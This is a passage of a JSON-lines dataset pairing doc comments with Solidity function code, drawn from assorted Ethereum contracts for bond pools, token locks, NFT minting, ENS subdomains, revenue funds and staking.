if (!canExitPool(self, resourceAddress)) {\r\n throw;\r\n }\r\n uint nextGenerationId = getNextGenerationId(self);\r\n if (nextGenerationId == 0) {\r\n // No next generation has formed yet so create it.\r\n nextGenerationId = createNextGeneration(self);\r\n }\r\n // Remove them from the generation\r\n removeFromGeneration(self, nextGenerationId, resourceAddress);\r\n return nextGenerationId;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Removes the address from a generation's members array. Returns boolean as to whether removal was successful.\n/// @param self The pool to operate on.\n/// @param generationId The id of the generation to operate on.\n/// @param resourceAddress The address to be removed.", "function_code": "function removeFromGeneration(Pool storage self, uint generationId, address resourceAddress) public returns (bool){\r\n Generation storage generation = self.generations[generationId];\r\n // now remove the address\r\n for (uint i = 0; i < generation.members.length; i++) {\r\n if (generation.members[i] == resourceAddress) {\r\n generation.members[i] = generation.members[generation.members.length - 1];\r\n generation.members.length -= 1;\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Subtracts the amount from an account's bond balance.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address of the account\n/// @param value The value to subtract.", "function_code": "function deductFromBond(Pool storage self, address resourceAddress, uint value) public {\r\n /*\r\n * deduct funds from a bond value without risk of an\r\n * underflow.\r\n */\r\n if (value > self.bonds[resourceAddress]) {\r\n // Prevent Underflow.\r\n throw;\r\n }\r\n self.bonds[resourceAddress] -= value;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Adds the amount to an account's bond balance.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address of the account\n/// @param value The value to add.", "function_code": "function addToBond(Pool storage self, address resourceAddress, uint value) public {\r\n /*\r\n * Add funds to a bond value without risk of an\r\n * overflow.\r\n */\r\n if (self.bonds[resourceAddress] + value < self.bonds[resourceAddress]) {\r\n // Prevent Overflow\r\n throw;\r\n }\r\n self.bonds[resourceAddress] += value;\r\n }", "version": "0.1.6"} {"comment": "/// @dev Withdraws a bond amount from an address's bond account, sending them the corresponding amount in ether.\n/// @param self The pool to operate on.\n/// @param resourceAddress The address of the account\n/// @param value The value to withdraw.", "function_code": "function withdrawBond(Pool storage self, address resourceAddress, uint value, uint minimumBond) public {\r\n /*\r\n * Only if you are not in either of the current call pools.\r\n */\r\n // Prevent underflow\r\n if (value > self.bonds[resourceAddress]) {\r\n throw;\r\n }\r\n\r\n // Do a permissions check to be sure they can withdraw the\r\n // funds.\r\n if (isInPool(self, resourceAddress)) {\r\n if (self.bonds[resourceAddress] - value < minimumBond) {\r\n return;\r\n }\r\n }\r\n\r\n deductFromBond(self, resourceAddress, value);\r\n if (!resourceAddress.send(value)) {\r\n // Potentially sending money to a contract that\r\n // has a fallback function. So instead, try\r\n // tranferring the funds with the call api.\r\n if (!resourceAddress.call.gas(msg.gas).value(value)()) {\r\n // Revert the entire transaction. No\r\n // need to destroy the funds.\r\n throw;\r\n }\r\n }\r\n }", "version": "0.1.6"} {"comment": "/**\r\n * @dev Locks a specified amount of tokens against an address,\r\n * for a specified reason and time\r\n * @param _reason The reason to lock tokens\r\n * @param _amount Number of tokens to be locked\r\n * @param _time Lock time in seconds\r\n */", "function_code": "function lock(bytes32 _reason, uint256 _amount, uint256 _time)\r\n public\r\n returns (bool)\r\n {\r\n uint256 validUntil = now.add(_time); //solhint-disable-line\r\n\r\n // If tokens are already locked, then functions extendLock or\r\n // increaseLockAmount should be used to make any changes\r\n require(tokensLocked(msg.sender, _reason) == 0, ALREADY_LOCKED);\r\n require(_amount != 0, AMOUNT_ZERO);\r\n\r\n if (locked[msg.sender][_reason].amount == 0)\r\n lockReason[msg.sender].push(_reason);\r\n\r\n transfer(address(this), _amount);\r\n\r\n locked[msg.sender][_reason] = lockToken(_amount, validUntil, false);\r\n\r\n emit Locked(msg.sender, _reason, _amount, validUntil);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers and Locks a specified amount of tokens,\r\n * for a specified reason and time\r\n * @param _to adress to which tokens are to be transfered\r\n * @param _reason The reason to lock tokens\r\n * @param _amount Number of tokens to be transfered and locked\r\n * @param _time Lock time in seconds\r\n */", "function_code": "function transferWithLock(address _to, bytes32 _reason, uint256 _amount, uint256 _time)\r\n public\r\n returns (bool)\r\n {\r\n uint256 validUntil = now.add(_time); //solhint-disable-line\r\n\r\n require(tokensLocked(_to, _reason) == 0, ALREADY_LOCKED);\r\n require(_amount != 0, AMOUNT_ZERO);\r\n\r\n if (locked[_to][_reason].amount == 0)\r\n lockReason[_to].push(_reason);\r\n\r\n transfer(address(this), _amount);\r\n\r\n locked[_to][_reason] = lockToken(_amount, validUntil, false);\r\n \r\n emit Locked(_to, _reason, _amount, validUntil);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Unlocks the unlockable tokens of a specified address\r\n * @param _of Address of user, claiming back unlockable tokens\r\n */", "function_code": "function unlock(address _of)\r\n public\r\n returns (uint256 unlockableTokens)\r\n {\r\n uint256 lockedTokens;\r\n\r\n for (uint256 i = 0; i < lockReason[_of].length; i++) {\r\n lockedTokens = tokensUnlockable(_of, lockReason[_of][i]);\r\n if (lockedTokens > 0) {\r\n unlockableTokens = unlockableTokens.add(lockedTokens);\r\n locked[_of][lockReason[_of][i]].claimed = true;\r\n emit Unlocked(_of, lockReason[_of][i], lockedTokens);\r\n }\r\n } \r\n\r\n if (unlockableTokens > 0)\r\n this.transfer(_of, unlockableTokens);\r\n }", "version": "0.4.24"} {"comment": "// Returns new campaignId.", "function_code": "function startCommitReveal(\r\n uint _startBlock,\r\n uint _commitDuration,\r\n uint _revealDuration,\r\n uint _revealThreshold\r\n )\r\n public\r\n onlyFromProxy\r\n returns(uint)\r\n {\r\n uint newCid = campaigns.length;\r\n campaigns.push(Campaign(_startBlock, _commitDuration, _revealDuration, _revealThreshold, 0, 0, 0));\r\n emit LogStartCommitReveal(newCid, _startBlock, _commitDuration, _revealDuration, _revealThreshold);\r\n return newCid;\r\n }", "version": "0.5.17"} {"comment": "// Return value of 0 representing invalid random output.", "function_code": "function getRandom(uint _cid) public checkFinish(_cid) returns (uint) {\r\n Campaign storage c = campaigns[_cid];\r\n if (c.revealNum >= c.revealThreshold) {\r\n emit LogRandom(_cid, c.generatedRandom);\r\n return c.generatedRandom;\r\n } else{\r\n emit LogRandomFailure(_cid, c.commitNum, c.revealNum, c.revealThreshold);\r\n return 0;\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * batch\r\n */", "function_code": "function transferArray(address[] _to, uint256[] _value) public {\r\n require(_to.length == _value.length);\r\n uint256 sum = 0;\r\n for(uint256 i = 0; i< _value.length; i++) {\r\n sum += _value[i];\r\n }\r\n require(balanceOf[msg.sender] >= sum);\r\n for(uint256 k = 0; k < _to.length; k++){\r\n _transfer(msg.sender, _to[k], _value[k]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Claim Adventure Gold for a given Loot ID\n/// @param tokenId The tokenId of the Loot NFT", "function_code": "function claimById(uint256 tokenId) external {\r\n // Follow the Checks-Effects-Interactions pattern to prevent reentrancy\r\n // attacks\r\n\r\n // Checks\r\n\r\n // Check that the msgSender owns the token that is being claimed\r\n require(\r\n _msgSender() == lootContract.ownerOf(tokenId),\r\n \"MUST_OWN_TOKEN_ID\"\r\n );\r\n\r\n // Further Checks, Effects, and Interactions are contained within the\r\n // _claim() function\r\n _claim(tokenId, _msgSender());\r\n }", "version": "0.8.7"} {"comment": "/// @notice Claim Adventure Gold for all tokens owned by the sender\n/// @notice This function will run out of gas if you have too much loot! If\n/// this is a concern, you should use claimRangeForOwner and claim Adventure\n/// Gold in batches.", "function_code": "function claimAllForOwner() external {\r\n uint256 tokenBalanceOwner = lootContract.balanceOf(_msgSender());\r\n\r\n // Checks\r\n require(tokenBalanceOwner > 0, \"NO_TOKENS_OWNED\");\r\n\r\n // i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed\r\n for (uint256 i = 0; i < tokenBalanceOwner; i++) {\r\n // Further Checks, Effects, and Interactions are contained within\r\n // the _claim() function\r\n _claim(\r\n lootContract.tokenOfOwnerByIndex(_msgSender(), i),\r\n _msgSender()\r\n );\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @dev Internal function to mint Loot upon claiming", "function_code": "function _claim(uint256 tokenId, address tokenOwner) internal {\r\n // Checks\r\n // Check that the token ID is in range\r\n // We use >= and <= to here because all of the token IDs are 0-indexed\r\n require(\r\n tokenId >= tokenIdStart && tokenId <= tokenIdEnd,\r\n \"TOKEN_ID_OUT_OF_RANGE\"\r\n );\r\n\r\n // Check that Adventure Gold have not already been claimed this season\r\n // for a given tokenId\r\n require(\r\n !seasonClaimedByTokenId[season][tokenId],\r\n \"GOLD_CLAIMED_FOR_TOKEN_ID\"\r\n );\r\n\r\n // Effects\r\n\r\n // Mark that Adventure Gold has been claimed for this season for the\r\n // given tokenId\r\n seasonClaimedByTokenId[season][tokenId] = true;\r\n\r\n // Interactions\r\n\r\n // Send Adventure Gold to the owner of the token ID\r\n _mint(tokenOwner, adventureGoldPerTokenId);\r\n }", "version": "0.8.7"} {"comment": "// --------------------------------------------------------\n// \n// Returns a random index of token to mint depending on\n// sender addr and current block timestamp & difficulty\n// \n// --------------------------------------------------------", "function_code": "function getRandomTokenIndex (address senderAddress) internal returns (uint) {\r\n uint randomNumber = random(string(abi.encodePacked(senderAddress)));\r\n uint i = (randomNumber % mintConfig.remaining) + mintConfig.startIndex;\r\n\r\n // --------------------------------------------------------\r\n // \r\n // If there's a cache at mintCache[i] then use it\r\n // otherwise use i itself\r\n // \r\n // --------------------------------------------------------\r\n uint index = mintCache[i] == 0 ? i : mintCache[i];\r\n\r\n // --------------------------------------------------------\r\n // \r\n // Grab a number from the tail & decrease remaining\r\n // \r\n // --------------------------------------------------------\r\n mintCache[i] = mintCache[mintConfig.remaining - 1 + mintConfig.startIndex] == 0 ? mintConfig.remaining - 1 + mintConfig.startIndex : mintCache[mintConfig.remaining - 1 + mintConfig.startIndex];\r\n mintConfig.remaining--;\r\n\r\n return index;\r\n }", "version": "0.8.12"} {"comment": "// --------------------------------------------------------\n// \n// Returns a date for a tokenId\n// date range: 01.01.22 - 28.12.25\n// \n// --------------------------------------------------------", "function_code": "function getDate (uint256 _tokenId) internal pure returns (string memory) {\r\n uint deterministicNumber = deterministic(GuestlistedLibrary.toString(_tokenId));\r\n uint day = deterministicNumber % 28 + 1;\r\n uint month = deterministicNumber % 12 + 1;\r\n uint yearDeterministic = deterministicNumber % 4;\r\n string memory yearString = '22';\r\n\r\n if (yearDeterministic == 1) yearString = '23';\r\n else if (yearDeterministic == 2) yearString = '24';\r\n else if (yearDeterministic == 3) yearString = '25';\r\n\r\n string memory dayString = GuestlistedLibrary.toString(day);\r\n if (day < 10) dayString = string(abi.encodePacked('0', dayString));\r\n\r\n string memory monthString = GuestlistedLibrary.toString(month);\r\n if (month < 10) monthString = string(abi.encodePacked('0', monthString));\r\n\r\n return string(abi.encodePacked(dayString, '.', monthString, '.', yearString));\r\n }", "version": "0.8.12"} {"comment": "// --------------------------------------------------------\n// \n// Updates a venue in the storage at specified index\n// Adds a new venue if the index is -1\n// \n// --------------------------------------------------------", "function_code": "function updateVenue (int _index, GuestlistedLibrary.Venue memory _venue) public onlyOwner {\r\n require((_index == -1) || (uint(_index) < venues.length), 'Can not update non-existent venue.');\r\n if (_index == -1) venues.push(_venue);\r\n else venues[uint(_index)] = _venue;\r\n }", "version": "0.8.12"} {"comment": "// ----------------------------------------------------------------\n// \n// Erease and update the custom metadata for a set of tokens.\n// This metadata will be added to specified tokens in the\n// tokenURI method.\n// \n// ----------------------------------------------------------------", "function_code": "function updateCustomMetadata (uint[] memory _tokenIds, CustomMetadata[] memory _customMetadata) external onlyOwner {\r\n for (uint i = 0; i < _tokenIds.length; i++) {\r\n delete customMetadata[_tokenIds[i]];\r\n for (uint j = 0; j < _customMetadata.length; j++) {\r\n customMetadata[_tokenIds[i]].push(_customMetadata[j]);\r\n }\r\n }\r\n }", "version": "0.8.12"} {"comment": "// ----------------------------------------------------------------\n// \n// Erease and update the custom attributes for a set of tokens.\n// Those attributes will be added to specified tokens in the\n// tokenURI method.\n// \n// ----------------------------------------------------------------", "function_code": "function updateCustomAttributes (uint[] memory _tokenIds, CustomAttribute[] memory _customAttributes) external onlyOwner {\r\n for (uint i = 0; i < _tokenIds.length; i++) {\r\n delete customAttributes[_tokenIds[i]];\r\n for (uint j = 0; j < _customAttributes.length; j++) {\r\n customAttributes[_tokenIds[i]].push(_customAttributes[j]);\r\n }\r\n }\r\n }", "version": "0.8.12"} {"comment": "// ----------------------------------------------------------------\n// \n// Returns un array of tokens owned by an address\n// (gas optimisation of tokenOfOwnerByIndex from ERC721Enumerable)\n// \n// ----------------------------------------------------------------", "function_code": "function tokensOfOwner(address _ownerAddress) public virtual view returns (uint[] memory) {\r\n uint balance = balanceOf(_ownerAddress);\r\n uint[] memory tokens = new uint[](balance);\r\n uint tokenId;\r\n uint found;\r\n\r\n while (found < balance) {\r\n if (_exists(tokenId) && ownerOf(tokenId) == _ownerAddress) {\r\n tokens[found++] = tokenId;\r\n }\r\n tokenId++;\r\n }\r\n\r\n return tokens;\r\n }", "version": "0.8.12"} {"comment": "/**\n * @notice Transfer tokens to multiple recipient\n * @dev Address array and amount array are 1:1 and are in order.\n * @param _recipients array of recipient addresses\n * @param _amounts array of token amounts\n * @return true/false\n */", "function_code": "function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool) {\n require(_recipients.length == _amounts.length, \"input-length-mismatch\");\n for (uint256 i = 0; i < _recipients.length; i++) {\n require(transfer(_recipients[i], _amounts[i]), \"multi-transfer-failed\");\n }\n return true;\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Wesion freezed amount.\r\n */", "function_code": "function WesionFreezed() public view returns (uint256) {\r\n uint256 __freezed;\r\n\r\n if (now > _till) {\r\n uint256 __qrPassed = now.sub(_till).div(_3mo);\r\n\r\n if (__qrPassed >= 10) {\r\n __freezed = 0;\r\n }\r\n else {\r\n __freezed = _WesionAmount.mul(_freezedPct[__qrPassed]).div(100);\r\n }\r\n\r\n return __freezed;\r\n }\r\n\r\n return _WesionAmount;\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * @dev Mint function, step 3 of the wrapping process.\r\n * Users must call this function after reserving their NFT with the `reserveNFT` function and having it transferred to\r\n * this contract by interacting with the original Lunar contract.\r\n */", "function_code": "function mint(uint256 id) external {\r\n require(lunar.ownerOf(id) == address(this), \"Lunar not owned by this contract\");\r\n require(reservations[id] == msg.sender, \"Caller doesn't have a reservation on this nft\");\r\n\r\n lunar.setPrice(id, false, 0);\r\n _mint(msg.sender, id);\r\n delete reservations[id];\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Multiplies two unsigned integers, revert on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b);\r\n\r\n return c;\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Update the storgeOperator.\r\n * @param _newOperator The newOperator to update.\r\n */", "function_code": "function updateOperator(address _newOperator) public onlyOwner {\r\n require(_newOperator != address(0), \"Cannot change the newOperator to the zero address\");\r\n require(isContract(_newOperator), \"New operator must be contract address\");\r\n emit OperatorChanged(_operator, _newOperator);\r\n _operator = _newOperator;\r\n }", "version": "0.5.8"} {"comment": "//Diagonal is not considered.", "function_code": "function calculateNumberOfNeighbours(uint256 _cellId, address _address) internal view returns (uint256 _numberOfNeighbours) {\r\n uint256 numberOfNeighbours;\r\n \r\n (uint256 top, uint256 bottom, uint256 left, uint256 right) = getNeighbourhoodOf(_cellId);\r\n \r\n if (top != NUMBER_OF_CELLS && ownerOf(top) == _address) {\r\n numberOfNeighbours = numberOfNeighbours.add(1);\r\n }\r\n \r\n if (bottom != NUMBER_OF_CELLS && ownerOf(bottom) == _address) {\r\n numberOfNeighbours = numberOfNeighbours.add(1);\r\n }\r\n \r\n if (left != NUMBER_OF_CELLS && ownerOf(left) == _address) {\r\n numberOfNeighbours = numberOfNeighbours.add(1);\r\n }\r\n \r\n if (right != NUMBER_OF_CELLS && ownerOf(right) == _address) {\r\n numberOfNeighbours = numberOfNeighbours.add(1);\r\n }\r\n \r\n return numberOfNeighbours;\r\n }", "version": "0.4.24"} {"comment": "/*Withdraws*/", "function_code": "function withdrawPot(string _message) public {\r\n require(!isContract(msg.sender));\r\n require(msg.sender != owner);\r\n //A player can withdraw the pot if he is the rank one player\r\n //and the game is finished.\r\n require(rankOnePlayerAddress == msg.sender);\r\n require(isGameFinished());\r\n \r\n uint256 toWithdraw = potCut;\r\n potCut = 0;\r\n msg.sender.transfer(toWithdraw);\r\n \r\n TheEthGameTrophy trophy = TheEthGameTrophy(trophyAddress);\r\n trophy.award(msg.sender, _message);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \t * @dev Allows to create a subdomain (e.g. \"radek.startonchain.eth\"),\r\n \t * set its resolver and set its target address\r\n \t * @param _subdomain - sub domain name only e.g. \"radek\"\r\n \t * @param _domain - domain name e.g. \"startonchain\"\r\n \t * @param _topdomain - parent domain name e.g. \"eth\", \"xyz\"\r\n \t * @param _owner - address that will become owner of this new subdomain\r\n \t * @param _target - address that this new domain will resolve to\r\n \t */", "function_code": "function newSubdomain(string _subdomain, string _domain, string _topdomain, address _owner, address _target) public {\r\n\t\t//create namehash for the topdomain\r\n\t\tbytes32 topdomainNamehash = keccak256(abi.encodePacked(emptyNamehash, keccak256(abi.encodePacked(_topdomain))));\r\n\t\t//create namehash for the domain\r\n\t\tbytes32 domainNamehash = keccak256(abi.encodePacked(topdomainNamehash, keccak256(abi.encodePacked(_domain))));\r\n\t\t//make sure this contract owns the domain\r\n\t\trequire(registry.owner(domainNamehash) == address(this), \"this contract should own the domain\");\r\n\t\t//create labelhash for the sub domain\r\n\t\tbytes32 subdomainLabelhash = keccak256(abi.encodePacked(_subdomain));\r\n\t\t//create namehash for the sub domain\r\n\t\tbytes32 subdomainNamehash = keccak256(abi.encodePacked(domainNamehash, subdomainLabelhash));\r\n\t\t//make sure it is free or owned by the sender\r\n\t\trequire(registry.owner(subdomainNamehash) == address(0) ||\r\n\t\t\tregistry.owner(subdomainNamehash) == msg.sender, \"sub domain already owned\");\r\n\t\t//create new subdomain, temporarily this smartcontract is the owner\r\n\t\tregistry.setSubnodeOwner(domainNamehash, subdomainLabelhash, address(this));\r\n\t\t//set public resolver for this domain\r\n\t\tregistry.setResolver(subdomainNamehash, resolver);\r\n\t\t//set the destination address\r\n\t\tresolver.setAddr(subdomainNamehash, _target);\r\n\t\t//change the ownership back to requested owner\r\n\t\tregistry.setOwner(subdomainNamehash, _owner);\r\n\r\n\t\temit SubdomainCreated(msg.sender, _owner, _subdomain, _domain, _topdomain);\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Return the target address where the subdomain is pointing to (e.g. \"0x12345...\"),\r\n * @param _subdomain - sub domain name only e.g. \"radek\"\r\n * @param _domain - parent domain name e.g. \"startonchain\"\r\n * @param _topdomain - parent domain name e.g. \"eth\", \"xyz\"\r\n */", "function_code": "function subdomainTarget(string _subdomain, string _domain, string _topdomain) public view returns (address) {\r\n bytes32 topdomainNamehash = keccak256(abi.encodePacked(emptyNamehash, keccak256(abi.encodePacked(_topdomain))));\r\n bytes32 domainNamehash = keccak256(abi.encodePacked(topdomainNamehash, keccak256(abi.encodePacked(_domain))));\r\n bytes32 subdomainNamehash = keccak256(abi.encodePacked(domainNamehash, keccak256(abi.encodePacked(_subdomain))));\r\n address currentResolver = registry.resolver(subdomainNamehash);\r\n return EnsResolver(currentResolver).addr(subdomainNamehash);\r\n }", "version": "0.4.24"} {"comment": "/// @notice Set the community vote contract\n/// @param newCommunityVote The (address of) CommunityVote contract instance", "function_code": "function setCommunityVote(CommunityVote newCommunityVote) \n public \n onlyDeployer\n notNullAddress(address(newCommunityVote))\n notSameAddresses(address(newCommunityVote), address(communityVote))\n {\n require(!communityVoteFrozen, \"Community vote frozen [CommunityVotable.sol:41]\");\n\n // Set new community vote\n CommunityVote oldCommunityVote = communityVote;\n communityVote = newCommunityVote;\n\n // Emit event\n emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote);\n }", "version": "0.5.9"} {"comment": "/// @notice Register the given beneficiary\n/// @param beneficiary Address of beneficiary to be registered", "function_code": "function registerBeneficiary(Beneficiary beneficiary)\n public\n onlyDeployer\n notNullAddress(address(beneficiary))\n returns (bool)\n {\n address _beneficiary = address(beneficiary);\n\n if (beneficiaryIndexByAddress[_beneficiary] > 0)\n return false;\n\n beneficiaries.push(beneficiary);\n beneficiaryIndexByAddress[_beneficiary] = beneficiaries.length;\n\n // Emit event\n emit RegisterBeneficiaryEvent(beneficiary);\n\n return true;\n }", "version": "0.5.9"} {"comment": "/// @notice Deregister the given beneficiary\n/// @param beneficiary Address of beneficiary to be deregistered", "function_code": "function deregisterBeneficiary(Beneficiary beneficiary)\n public\n onlyDeployer\n notNullAddress(address(beneficiary))\n returns (bool)\n {\n address _beneficiary = address(beneficiary);\n\n if (beneficiaryIndexByAddress[_beneficiary] == 0)\n return false;\n\n uint256 idx = beneficiaryIndexByAddress[_beneficiary] - 1;\n if (idx < beneficiaries.length - 1) {\n // Remap the last item in the array to this index\n beneficiaries[idx] = beneficiaries[beneficiaries.length - 1];\n beneficiaryIndexByAddress[address(beneficiaries[idx])] = idx + 1;\n }\n beneficiaries.length--;\n beneficiaryIndexByAddress[_beneficiary] = 0;\n\n // Emit event\n emit DeregisterBeneficiaryEvent(beneficiary);\n\n return true;\n }", "version": "0.5.9"} {"comment": "/// @notice Register the given accrual beneficiary for the given fraction\n/// @param beneficiary Address of accrual beneficiary to be registered\n/// @param fraction Fraction of benefits to be given", "function_code": "function registerFractionalBeneficiary(AccrualBeneficiary beneficiary, int256 fraction)\n public\n onlyDeployer\n notNullAddress(address(beneficiary))\n returns (bool)\n {\n require(fraction > 0, \"Fraction not strictly positive [AccrualBenefactor.sol:59]\");\n require(\n totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER(),\n \"Total beneficiary fraction out of bounds [AccrualBenefactor.sol:60]\"\n );\n\n if (!super.registerBeneficiary(beneficiary))\n return false;\n\n _beneficiaryFractionMap[address(beneficiary)] = fraction;\n totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction);\n\n // Emit event\n emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction);\n\n return true;\n }", "version": "0.5.9"} {"comment": "/**\n @notice The provided standard takes priority over assigned interface to currency\n */", "function_code": "function transferController(address currencyCt, string memory standard)\n public\n view\n returns (TransferController)\n {\n if (bytes(standard).length > 0) {\n bytes32 standardHash = keccak256(abi.encodePacked(standard));\n\n require(registeredTransferControllers[standardHash] != address(0), \"Standard not registered [TransferControllerManager.sol:150]\");\n return TransferController(registeredTransferControllers[standardHash]);\n }\n\n require(registeredCurrencies[currencyCt].standard != bytes32(0), \"Currency not registered [TransferControllerManager.sol:154]\");\n require(!registeredCurrencies[currencyCt].blacklisted, \"Currency blacklisted [TransferControllerManager.sol:155]\");\n\n address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard];\n require(controllerAddress != address(0), \"No matching transfer controller [TransferControllerManager.sol:158]\");\n\n return TransferController(controllerAddress);\n }", "version": "0.5.9"} {"comment": "/// @notice Receive ethers to\n/// @param wallet The concerned wallet address", "function_code": "function receiveEthersTo(address wallet, string memory)\n public\n payable\n {\n int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value);\n\n // Add to balances\n periodAccrual.add(amount, address(0), 0);\n aggregateAccrual.add(amount, address(0), 0);\n\n // Add currency to stores of currencies\n periodCurrencies.add(address(0), 0);\n aggregateCurrencies.add(address(0), 0);\n\n // Add to transaction history\n txHistory.addDeposit(amount, address(0), 0);\n\n // Emit event\n emit ReceiveEvent(wallet, amount, address(0), 0);\n }", "version": "0.5.9"} {"comment": "/// @notice Receive tokens to\n/// @param wallet The address of the concerned wallet\n/// @param amount The concerned amount\n/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)\n/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)\n/// @param standard The standard of token (\"ERC20\", \"ERC721\")", "function_code": "function receiveTokensTo(address wallet, string memory, int256 amount,\n address currencyCt, uint256 currencyId, string memory standard)\n public\n {\n require(amount.isNonZeroPositiveInt256(), \"Amount not strictly positive [RevenueFund.sol:115]\");\n\n // Execute transfer\n TransferController controller = transferController(currencyCt, standard);\n (bool success,) = address(controller).delegatecall(\n abi.encodeWithSelector(\n controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId\n )\n );\n require(success, \"Reception by controller failed [RevenueFund.sol:124]\");\n\n // Add to balances\n periodAccrual.add(amount, currencyCt, currencyId);\n aggregateAccrual.add(amount, currencyCt, currencyId);\n\n // Add currency to stores of currencies\n periodCurrencies.add(currencyCt, currencyId);\n aggregateCurrencies.add(currencyCt, currencyId);\n\n // Add to transaction history\n txHistory.addDeposit(amount, currencyCt, currencyId);\n\n // Emit event\n emit ReceiveEvent(wallet, amount, currencyCt, currencyId);\n }", "version": "0.5.9"} {"comment": "// function _burn(address account, uint256 amount) internal {\n// require(account != address(0), \"burn address is 0 address\");\n// _balances[account] = _balances[account].sub(amount, \"burn balance to low\");\n// _totalSupply = _totalSupply.sub(amount);\n// emit Transfer(account, address(0), amount);\n// }", "function_code": "function _approve(address owner, address spender, uint256 amount) internal {\r\n require(owner != address(0), \"approve owner is 0 address\");\r\n require(spender != address(0), \"approve spender is 0 address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.6.12"} {"comment": "// Unstake ALD burns ALDPLUS shares and locks ALD for lock duration", "function_code": "function unstake() external nonReentrant {\n require(shares[msg.sender] != 0, \"!staked\");\n uint256 _balance = balance[msg.sender];\n balance[msg.sender] = 0;\n shares[msg.sender] = 0;\n // lock\n locks[msg.sender].locked = _balance;\n locks[msg.sender].unlockTime = block.timestamp.add(LOCK_DURATION);\n emit Unstake(msg.sender, _balance);\n }", "version": "0.6.12"} {"comment": "// Withdraw unlocked ALDs", "function_code": "function withdraw() external nonReentrant {\n require(locks[msg.sender].locked > 0, \"!locked\");\n require(block.timestamp >= locks[msg.sender].unlockTime, \"!unlocked\");\n uint256 _locked = locks[msg.sender].locked;\n // unlock\n locks[msg.sender].locked = 0;\n locks[msg.sender].unlockTime = 0;\n ald.safeTransfer(msg.sender, _locked);\n emit Withdrawn(msg.sender, _locked);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Function to send `_value` tokens to user (`_to`) from sale contract/owner\r\n * @param _to address The address that will receive the minted tokens.\r\n * @param _value uint256 The amount of tokens to be sent.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function sendToken(address _to, uint256 _value)\r\n public\r\n onlyWhenValidAddress(_to)\r\n onlyOwnerAndContract\r\n returns(bool) {\r\n address _from = owner;\r\n // Check if the sender has enough\r\n require(balances[_from] >= _value);\r\n // Check for overflows\r\n require(balances[_to] + _value > balances[_to]);\r\n // Save this for an assertion in the future\r\n uint256 previousBalances = balances[_from] + balances[_to];\r\n // Subtract from the sender\r\n balances[_from] -= _value;\r\n // Add the same to the recipient\r\n balances[_to] += _value;\r\n Transfer(_from, _to, _value);\r\n // Asserts are used to use static analysis to find bugs in your code. They should never fail\r\n assert(balances[_from] + balances[_to] == previousBalances);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Batch transfer of tokens to addresses from owner's balance\r\n * @param addresses address[] The address that will receive the minted tokens.\r\n * @param _values uint256[] The amount of tokens to be sent.\r\n * @return True if the operation was successful.\r\n */", "function_code": "function batchSendTokens(address[] addresses, uint256[] _values) \r\n public onlyOwnerAndContract\r\n returns (bool) {\r\n require(addresses.length == _values.length);\r\n require(addresses.length <= 20); //only batches of 20 allowed\r\n uint i = 0;\r\n uint len = addresses.length;\r\n for (;i < len; i++) {\r\n sendToken(addresses[i], _values[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// @notice Set the required collateral based on how many assets are managed by a user", "function_code": "function setCollateralLevels(uint _base, uint _low, uint _mid, uint _high)\r\n external\r\n onlyOwner {\r\n database.setUint(keccak256(abi.encodePacked(\"collateral.base\")), _base);\r\n for(uint i=0; i<5; i++){\r\n database.setUint(keccak256(abi.encodePacked(\"collateral.level\", i)), _low);\r\n }\r\n for(i=5; i<10; i++){\r\n database.setUint(keccak256(abi.encodePacked(\"collateral.level\", i)), _mid);\r\n }\r\n for(i=10; i<25; i++){\r\n database.setUint(keccak256(abi.encodePacked(\"collateral.level\", i)), _high);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Hook that is called before any transfer of tokens. This includes\r\n * minting and burning.\r\n *\r\n * Calling conditions:\r\n *\r\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\r\n * will be transferred to `to`.\r\n * - when `from` is zero, `amount` tokens will be minted for `to`.\r\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\r\n * - `from` and `to` are never both zero.\r\n *\r\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual {\r\n if(from != owner() && to != owner()) {\r\n require(from == uniswapV2Pair || to == 